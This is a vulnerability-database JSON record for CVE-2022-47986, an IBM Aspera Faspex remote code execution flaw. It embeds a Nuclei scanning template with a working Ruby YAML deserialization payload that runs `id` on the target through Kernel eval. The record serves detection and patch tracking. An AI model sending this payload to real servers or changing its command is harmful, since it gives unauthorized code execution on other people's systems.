{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-47986/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-47986/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-47986/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-47986/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-47986/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-47986"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-47986"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2022/CVE-2022-47986.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2022-47986\n\ninfo:\n  name: IBM Aspera Faspex <=4.4.2 PL1 - Remote Code Execution\n  author: coldfish\n  severity: critical\n  description: |\n    IBM Aspera Faspex through 4.4.2 Patch Level 1 is susceptible to remote code execution via a YAML deserialization flaw. This can allow an attacker to send a specially crafted obsolete API call and thereby execute arbitrary code, obtain sensitive data, and/or execute other unauthorized operations.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: The obsolete API call was removed in 4.4.2 PL2. This vulnerability can be remediated by upgrading to either 4.4.2 PL2 or 5.x.\n  reference:\n    - https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/\n    - https://www.ibm.com/support/pages/node/6952319\n    - https://exchange.xforce.ibmcloud.com/vulnerabilities/243512\n    - http://packetstormsecurity.com/files/171772/IBM-Aspera-Faspex-4.4.1-YAML-Deserialization.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-47986\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-47986\n    cwe-id: CWE-502\n    epss-score: 0.99968\n    epss-percentile: 0.99976\n    cpe: cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: linux\n    product: linux_kernel\n    shodan-query:\n      - html:\"Aspera Faspex\"\n      - cpe:\"cpe:2.3:o:linux:linux_kernel\"\n  tags: cve,cve2022,ibm,aspera,faspex,kev,packetstorm,linux,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /aspera/faspex/package_relay/relay_package HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Content-Type: application/json\n\n        {\"package_file_list\": [\"/\"], \"external_emails\": \"\\n---\\n- !ruby/object:Gem::Installer\\n    i: x\\n- !ruby/object:Gem::SpecFetcher\\n    i: y\\n- !ruby/object:Gem::Requirement\\n  requirements:\\n    !ruby/object:Gem::Package::TarReader\\n    io: &1 !ruby/object:Net::BufferedIO\\n      io: &1 !ruby/object:Gem::Package::TarReader::Entry\\n         read: 0\\n         header: \\\"pew\\\"\\n      debug_output: &1 !ruby/object:Net::WriteAdapter\\n         socket: &1 !ruby/object:PrettyPrint\\n             output: !ruby/object:Net::WriteAdapter\\n                 socket: &1 !ruby/module \\\"Kernel\\\"\\n                 method_id: :eval\\n             newline: \\\"throw `id`\\\"\\n             buffer: {}\\n             group_stack:\\n              - !ruby/object:PrettyPrint::Group\\n                break: true\\n         method_id: :breakable\\n\", \"package_name\": \"{{rand_base(4)}}\", \"package_note\": \"{{randstr}}\", \"original_sender_name\": \"{{randstr}}\", \"package_uuid\": \"d7cb6601-6db9-43aa-8e6b-dfb4768647ec\", \"metadata_human_readable\": \"Yes\", \"forward\": \"pew\", \"metadata_json\": \"{}\", \"delivery_uuid\": \"d7cb6601-6db9-43aa-8e6b-dfb4768647ec\", \"delivery_sender_name\": \"{{rand_base(8)}}\", \"delivery_title\": \"{{rand_base(4)}}\", \"delivery_note\": \"{{rand_base(4)}}\", \"delete_after_download\": true, \"delete_after_download_condition\": \"IDK\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: regex\n        regex:\n          - 'uid=\\d+\\(([^)]+)\\) gid=\\d+\\(([^)]+)\\)'\n\n      - type: status\n        status:\n          - 500\n# digest: 4a0a0047304502204811f8006e67f6353ef9eb7825b17fbcf81a584c594f910834e44bad8a29988a022100896130d20d4a546873bfb3ff58dbd938aa3d3413515eafa3c0235ddd6afa2818:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2022-47986"
}